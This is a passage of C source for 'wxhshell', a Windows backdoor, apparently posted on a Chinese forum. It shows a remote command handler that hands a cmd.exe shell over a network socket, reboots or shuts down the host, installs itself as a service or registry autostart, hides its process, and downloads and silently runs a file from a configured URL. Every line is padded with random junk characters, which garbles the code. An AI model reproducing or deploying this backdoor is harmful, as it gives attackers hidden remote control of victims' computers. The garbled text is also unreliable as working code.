    switch(cmd[0]) { .yQDW]q81G  
  InNuK0@  
  // 帮助  uGc}^a2  
  case '?': { 04:^<n+{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K!HSQ,AC  
    break; zWB>;Z}  
  } N\HOo-X  
  // 安装 lXW.G  
  case 'i': { sqJ?dIBH  
    if(Install()) E;D9S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cRT@Cu  
    else IR(JBB|xNQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GJ ZT~  
    break; QF'N8Kla  
    } [P)HVFy|l  
  // 卸载 n/S1Hae`  
  case 'r': { \ tF><  
    if(Uninstall()) rMfp%DMA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mh[;E'C6  
    else LJfd{R1y+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !4]w b!F  
    break;  yYp!s  
    } z~L(kf4  
  // 显示 wxhshell 所在路径 VCNg`6!x  
  case 'p': { L!c7$M5xJ  
    char svExeFile[MAX_PATH]; t~Cul+  
    strcpy(svExeFile,"\n\r"); z[}[:H8  
      strcat(svExeFile,ExeFile); FuLP{]Y+AM  
        send(wsh,svExeFile,strlen(svExeFile),0); @lDoMm,m'  
    break; [$;6LFs }  
    } >q[(UV  
  // 重启 vv"_u=H  
  case 'b': { 68+ 9^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); GO+cCNMa"  
    if(Boot(REBOOT)) UOy`N~\gh+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2"c $#N  
    else { %mt|Dl  
    closesocket(wsh);  l}5@6;}  
    ExitThread(0); $cSrT)u :  
    } # 0dN!l;  
    break; loLQ@?E  
    } MHpPb{ ^  
  // 关机 @'/\O-  
  case 'd': { l~!\<, !  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); liA)|.H  
    if(Boot(SHUTDOWN)) SQ1.jcWW[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k/u6Cw0/  
    else { tTLD6#  
    closesocket(wsh); ;Bat!K7W  
    ExitThread(0); C*,-lk0b@  
    } tUDOL-Tv  
    break; OgY4J|<  
    } m3+MRy 5  
  // 获取shell fOdkzD,  
  case 's': { py]m^)yc  
    CmdShell(wsh); 9.!6wd4mw  
    closesocket(wsh); O1ofN#u  
    ExitThread(0); ic%<39  
    break; +5JCbT@y  
  } nws '%MK)  
  // 退出 =%%\b_\L  
  case 'x': { B-@6m  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); )~rf x  
    CloseIt(wsh); F@& R"-  
    break; p&>*bF,  
    } \A6MVMF8  
  // 离开 q?nXhUD  
  case 'q': { \j+O |#`|)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %FDi7Rx  
    closesocket(wsh); +%OINMo.A  
    WSACleanup(); IgI*mDS&b  
    exit(1); /XeDN-{  
    break; 2%m H  
        } 0~iC#lHO  
  } zcF~6-aQ  
  } o+4/L)h  
`TYQ^Zm  
  // 提示信息 %g5TU 6WP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nL%;^`*8  
} -icOg6%  
  } @{iws@.  
L'BDS*  
  return; puF'w:I (  
} 9z$]hl  
Z3g6 ?2w6  
// shell模块句柄 z\Rs?v"  
int CmdShell(SOCKET sock) 3l_Ko %qS  
{ `MA ee8u'  
STARTUPINFO si; J*o :RnB  
ZeroMemory(&si,sizeof(si)); I L 'i7p  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y>Zvose  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; e6z;;C@'G  
PROCESS_INFORMATION ProcessInfo; lM86 *g 'l  
char cmdline[]="cmd"; K_{f6c<  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4v_?i @,L  
  return 0; m2E$[g  
} F l83 Z>  
/ *RDy!m  
// 自身启动模式 7g[m,48{  
int StartFromService(void) >6*"g{/  
{ }zY)H9J~  
typedef struct #s$b\"4  
{ 1P#bR`I >  
  DWORD ExitStatus; 1L]7*NJe  
  DWORD PebBaseAddress; 3~z4#8=  
  DWORD AffinityMask; L>5VnzSI  
  DWORD BasePriority; g]EDL<b  
  ULONG UniqueProcessId; lTY%,s  
  ULONG InheritedFromUniqueProcessId; ! E` Tt[  
}   PROCESS_BASIC_INFORMATION; XKp.]c wP  
`zGK$,[%  
PROCNTQSIP NtQueryInformationProcess; 3 $ cDC8  
=2] .G Gg  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; dB+x,+%u+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?VrZM  
r5jiB L~  
  HANDLE             hProcess; >!s =f  
  PROCESS_BASIC_INFORMATION pbi; $/90('D  
f#_XR  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); kT@RA}  
  if(NULL == hInst ) return 0; :@jhe8'w  
SweaE Rl  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); I<e[/#5P\`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); / d=i 0E3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); r=Z#"68$  
Rp4EB:*  
  if (!NtQueryInformationProcess) return 0; !%5ae82~3  
X&o!xV -+  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [t*m$0[:  
  if(!hProcess) return 0; \kqa4{7U(  
3G9"La,b  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |7,|-s[R^  
no- Lx-x  
  CloseHandle(hProcess); , mEFp_a+  
%;yDiQ!+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); DeE-M"  
if(hProcess==NULL) return 0; %lNv?sWb  
_ I8L#4\(=  
HMODULE hMod; W7>4-gk  
char procName[255]; sP$bp Z}  
unsigned long cbNeeded; W.iL!x.B@  
R#i|n< x  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0@d)DLM?  
xx0s`5  
  CloseHandle(hProcess); [hTGWT3  
Vo}3E]  
if(strstr(procName,"services")) return 1; // 以服务启动 |};]^5s9  
@P#uH5U  
  return 0; // 注册表启动 %ANo^~8  
} .yE!,^j.gB  
AN7WMX  
// 主模块 OLJb8kO  
int StartWxhshell(LPSTR lpCmdLine) $C0Nv Jf  
{ /%C6e )7BL  
  SOCKET wsl; _+g5;S5  
BOOL val=TRUE; "'h?O*V]u{  
  int port=0; $gT+Ue|7  
  struct sockaddr_in door; jXvGL  
3p{N7/z(  
  if(wscfg.ws_autoins) Install(); )k01K,%#)  
EbSH)aR  
port=atoi(lpCmdLine); $3S6{"  
Yr5A,-s  
if(port<=0) port=wscfg.ws_port; tRRPNY  
LuY`mi  
  WSADATA data; ?Y+xuY/t  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Yq}7x1mm  
[H;HrwM s)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   JIvVbI  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rGuhYYvK  
  door.sin_family = AF_INET; []:;8fY  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $T{,3;kt  
  door.sin_port = htons(port); *6^|i}  
3#huC=zbf  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { >C y  
closesocket(wsl); 0l3v>ty  
return 1; 9;2PoW8  
} vl*CU"4  
RR!(,j^M  
  if(listen(wsl,2) == INVALID_SOCKET) { <$wh@$PK  
closesocket(wsl); ATCFdtNc  
return 1; 6eE%x?#  
} g \)+ LX  
  Wxhshell(wsl); \ }xK$$f2,  
  WSACleanup(); I"Y d6M% ;  
4*MjDb  
return 0; _a@&$NEox  
(rO_ Vfaa  
} F>jPr8&  
~t[ #p:  
// 以NT服务方式启动 0}Rxe  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \]GO*]CaV  
{ B!GpD@U  
DWORD   status = 0; F{)YdqQ  
  DWORD   specificError = 0xfffffff; +qq,;npi  
9 tkj:8_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; &?>h#H222  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; K];nM}<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O-Hu:KuIf  
  serviceStatus.dwWin32ExitCode     = 0; I\DmVc\l  
  serviceStatus.dwServiceSpecificExitCode = 0; T:o!H Xdj^  
  serviceStatus.dwCheckPoint       = 0; :zfnp,Gv  
  serviceStatus.dwWaitHint       = 0; v#&r3ZW0  
_ _cJ+%e  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;tTM3W-h  
  if (hServiceStatusHandle==0) return; 'c5#M,G~  
\eF5* {9  
status = GetLastError(); 4"1OtBU3  
  if (status!=NO_ERROR) D}'g4Ag  
{ mj5$ 2J  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ol H{!  
    serviceStatus.dwCheckPoint       = 0; .z&V!2zp  
    serviceStatus.dwWaitHint       = 0; `GOxFDB.  
    serviceStatus.dwWin32ExitCode     = status; tk"L2t  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;KJJK#j  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); kRs[H xI3  
    return; ~r;da9  
  } 5MV4N[;  
_d6mf4M]5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -B :Z(]3#\  
  serviceStatus.dwCheckPoint       = 0; !Sr^4R+Z  
  serviceStatus.dwWaitHint       = 0; " ] 0ER  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); l=D E|:  
} xal,j*  
ov: h4  
// 处理NT服务事件,比如:启动、停止 b\NWDH7}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) xb\(>7M6Y  
{ =o;QvOS;  
switch(fdwControl) -v?,{?$0  
{ &&$/>[0=.  
case SERVICE_CONTROL_STOP: zrk/}b0j  
  serviceStatus.dwWin32ExitCode = 0; ^4(CO[|c~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6i[\?7O'0  
  serviceStatus.dwCheckPoint   = 0; QT{$2 7;  
  serviceStatus.dwWaitHint     = 0; aGVzg$  
  { "wL~E Si  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A[J9v{bD  
  } 0CS^S1/[B`  
  return; nV38Mj2U  
case SERVICE_CONTROL_PAUSE: x&sT )=#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; MK9?81xd  
  break; Fn$/ K  
case SERVICE_CONTROL_CONTINUE: Nge_ Ks  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; WI9'$hB\  
  break; )?~3fb6^  
case SERVICE_CONTROL_INTERROGATE: YS=|y}Q|7d  
  break; [W=%L:Ea  
}; IcZ_AIjlk  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^% BD  
} lMAmico  
ONJW*!(  
// 标准应用程序主函数 }<7Dyn,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) VOwt2&mZ  
{ * 2[&26D  
Q_QmyD~m  
// 获取操作系统版本 _Ptf^+  
OsIsNt=GetOsVer(); fI`T3Y!7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4LARqSmt  
^.Q{Aqu#.H  
  // 从命令行安装 V\ch0i 1  
  if(strpbrk(lpCmdLine,"iI")) Install(); eHK}U+"\  
A}C&WT~  
  // 下载执行文件 )<G>]IP<  
if(wscfg.ws_downexe) { jjBcoQU$o  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gXI_S9 z  
  WinExec(wscfg.ws_filenam,SW_HIDE); v}A] R9TY  
} d hiLv_/  
yd "|HHx  
if(!OsIsNt) { $m:}{:LDCf  
// 如果时win9x,隐藏进程并且设置为注册表启动 J9ovy>G  
HideProc(); Wd$N[|  
StartWxhshell(lpCmdLine); ]n?a h  
}  w J!  
else S$W *i@x?  
  if(StartFromService()) RL~|Kr<7J  
  // 以服务方式启动 #W 1`vke3  
  StartServiceCtrlDispatcher(DispatchTable); [UNfft=K3P  
else hDmtBdE  
  // 普通方式启动 $>'}6?C.  
  StartWxhshell(lpCmdLine); m hJ>5z  
pW8pp?  
return 0; 9UOx~Ty  
}
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只看该作者 1 发表于: 2006-10-10
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